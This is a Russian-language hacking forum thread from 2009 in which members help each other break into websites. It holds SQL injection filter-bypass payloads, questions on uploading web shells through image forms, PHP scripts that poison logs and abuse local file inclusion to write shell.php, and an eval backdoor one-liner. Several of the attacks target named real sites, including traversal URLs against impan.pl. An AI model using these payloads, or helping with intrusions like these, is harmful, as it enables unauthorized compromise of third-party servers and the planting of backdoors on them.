Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    ищи диру под запись,админку, ws_ftp.log и т.п.
    веб-сервер какой?
     
  2. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Какие есть методы заливки шелла, через форму загрузки изображения ?
     
    #10642 SeNaP, 13 Dec 2009
    Last edited: 13 Dec 2009
  3. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Смотря какая проверка расширения стоит
     
  4. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    вместо пробела можно попробовать табуляцию
    можно вообще без пробелов вот например рабочий запрос:
    select(1)union(select(1));
     
  5. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    а скакой версией ты работаеш?
    если 5 то зачем тебе лимит?
     
  6. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    budden ну так синтаксис и вправду неверный :) сравни еще раз запросы.
    Еще в твоем случае надо быть уверенным что перед лимитом нет order by
     
    1 person likes this.
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    budden, перечитайте пост гизера повнимательнее - юнион не нужно заключать в скобки
    Code:
    ... limit 0,2 union(select(1));
    
     
    2 people like this.
  8. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Если в лимите и после order by то никак.
     
  9. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Можно, если FILE_PRIV = Y (В этой же теме вопрос уже всплывал).
     
    2 people like this.
  10. Matnya

    Matnya Banned

    Joined:
    2 Dec 2009
    Messages:
    22
    Likes Received:
    1
    Reputations:
    -15
    Часто попадаеться шелл с фряхой 6.3. и на всех биндиться порт. Токо эксплоита не могу найти под неё. Можеть ктонить знает?
     
  11. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    Не могу никак прорулить скуль.

    В которой фильтрующийся слова select ,union, or, and, order, group

    Warning: pg_query() [function.pg-query]: Query failed: ERROR: ошибка синтаксиса в или рядом "UNION" LINE 3: WHERE c.id = 57+UNION ^ in /opt/newrss/htdocs/sabre/libs/Db_pgsql.php on line 37

    Warning: pg_query() [function.pg-query]: Query failed: ERROR: колонка "UNIONN" не существует LINE 3: WHERE c.id = 57+UNIONN ^ in /opt/newrss/htdocs/sabre/libs/Db_pgsql.php on line 37

    узнал что стоит PostgreSQL 8.2.9 on i386-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070925 (Red Hat 4.1.2-27)

    Прочитал http://forum.antichat.ru/thread35599.html результату не дало!(
    Есть выход?)
     
    1 person likes this.
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    "+" замени на пробел и все заработает)
     
  13. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    http://dev.rssportal.ru/catalog/57'+order+by+1/*
     
  14. Matnya

    Matnya Banned

    Joined:
    2 Dec 2009
    Messages:
    22
    Likes Received:
    1
    Reputations:
    -15
    PHP:
    <?php
    $host 
    "www.ыаывпывпыпывпп";
    $port 80;
    $script "/index.php?page=../../../../../../../proc/self/environ";
    $shell file_get_contents("shell.php");
    $sock fsockopen($host,$port);
    if(!
    $sock)
        echo 
    "Error";
    else
    {
    $head "POST $script HTTP/1.1\r\n";
    $head .= "Host: $host\r\n";
    $head .= 'User-Agent: <?php fwrite(fopen("shell.php","w+"),$shell) ?>'."\r\n";
    $head .= "Accept-Language: ru\r\n";
    $head .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $head .= "Content-Lenght: ".strlen($shell)."\r\n";
    $head .= "\r\n$shell\r\n";
    fwrite($sock,$head);
    while(!
    feof($sock))
    {
    $respons .= fgets($sock,1024);
    }
    fclose($sock);
    }
    ?>
    почему не работает? на сайте создаётся пустой файл (без кода)
     
  15. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    потому что php-скрипт, прописанный в user-agent, выполняется на стороне сервера (в чем и есть суть уязвимости), а ты пытаешься взять содержимое шелла со своего компьютера, а скрипт, записанный в user-agent, ищет файл на сервере, есс-но не находит и просто создает пустой файл. Вывод - все, что ты хочешь записать в файл - пиши прямо в php-код в user-agent, например <?if (isset($_REQUEST[data_time])) eval(stripslashes($_REQUEST[data_time]));?>

    PS: Представляешь, чтобы было, если бы работало так, как ты хочешь? Я написал php-скрипт на сервере и читаю любой файл на ТВОЕМ компе? )))
     
    #10655 Pashkela, 16 Dec 2009
    Last edited: 16 Dec 2009
  16. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    слышал про http method:seccomp но везде говорят одинаково и нету подробного обьяснения
     
  17. Matnya

    Matnya Banned

    Joined:
    2 Dec 2009
    Messages:
    22
    Likes Received:
    1
    Reputations:
    -15
    спс. щас буду фиксить. я просто думал что интерпритатор, сам вместо той переменной подставит код, который в ней. а он это ХЗ почему не сделал.


    UDP: Аааааааааааа всё допёр.
     
  18. Matnya

    Matnya Banned

    Joined:
    2 Dec 2009
    Messages:
    22
    Likes Received:
    1
    Reputations:
    -15
    Такой вопрос. На сайте есть инклуд логов апача. Логи очень большие по ходу. можно ли написать скрипт на пыхе со спецальными заголовками. чтобы он проинлудил лог, а ответ не дожидал. потому что когда я в браузере инклужу большой лог, то у меня всё висит. подскажите плиз
     
  19. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP:
    <?php 
    @set_time_limit(0);  
    @
    ini_set("display_errors","1"); 
      function 
    get($url)  
        {  
            
    $ch curl_init();    
            
    curl_setopt($chCURLOPT_URL,$url);  
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);  
            
    curl_setopt($chCURLOPT_USERAGENT'Opera foreva');  
            
    curl_setopt($chCURLOPT_REFERER"http://www.lala.jp"); 
            
    $ss=curl_exec($ch);  
            
    curl_close($ch);  
            return 
    $ss;  
        }  
          
    $a=get('http://site.ru/index.php&file=../../../../../../../logs/error.log&cmd=copy.......;');  
          
    #echo $a; 
          
    echo 'ok'
    ?> 
     
  20. Matnya

    Matnya Banned

    Joined:
    2 Dec 2009
    Messages:
    22
    Likes Received:
    1
    Reputations:
    -15

    Pashkela, большое спасибо за код.

    вот я проавильно подставил?

    PHP:
    <?php 
    @set_time_limit(0);  
    @
    ini_set("display_errors","1"); 
      function 
    get($url)  
        {  
            
    $ch curl_init();    
            
    curl_setopt($chCURLOPT_URL,$url);  
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);  
            
    curl_setopt($chCURLOPT_USERAGENT"<?php fwrite(fopen('shell.php','w+'),'<?php phpinfo();?>') ?>");  
            
    curl_setopt($chCURLOPT_REFERER"http://www.lala.jp"); 
            
    $ss=curl_exec($ch);  
            
    curl_close($ch);  
            return 
    $ss;  
        }  
          
    $a=get('http://www.impan.pl/~ecmtb11/index.php?file=../../../../var/apache/logs/www.access_log');  
          
    #echo $a; 
          
    echo 'ok'
    ?> 

    UDP:

    я так понял этот код работает как браузер. токо отличие в том, что он не выводить лог. т.е. там #echo $a;

    закоментировано, и поэтому не томозит?. я правильно понял?

    UPD: Pashekela, помоги пожалуйста найти рабочие логи, несколько перебрал, не логируют...

    вот конфиг http://www.impan.pl/~ecmtb11/index.php?file=../../../../usr/local/apache2/conf/httpd.conf
     
    #10660 Matnya, 16 Dec 2009
    Last edited: 16 Dec 2009
Thread Status:
Not open for further replies.